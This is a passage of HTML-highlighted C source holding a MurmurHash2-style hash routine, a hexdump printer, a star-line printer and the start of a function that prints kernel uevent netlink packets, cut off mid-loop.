&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5bd1e995&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Initialize the hash to a &amp;#39;random&amp;#39; value&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Mix 4 bytes at a time into the hash&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Handle the last few bytes of the input array&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* fall through */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* fall through */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="cm"&gt;/* fall through */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Do a few final mixes of the hash to ensure the last few&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// bytes are well-incorporated.&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Helper function to print a hexdump (mostly not used)&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;hexdump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// header&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%08zx:&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// hex&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;   &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%02x &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ascii&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;putchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;putchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;putchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// newline&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Print a line of * characters&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;print_stars&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;putchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;putchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;print_kern_uevent_pkt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufsz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// The buffer is a set of null-terminated strings (we blindly trust the kernel on this)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bufsz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
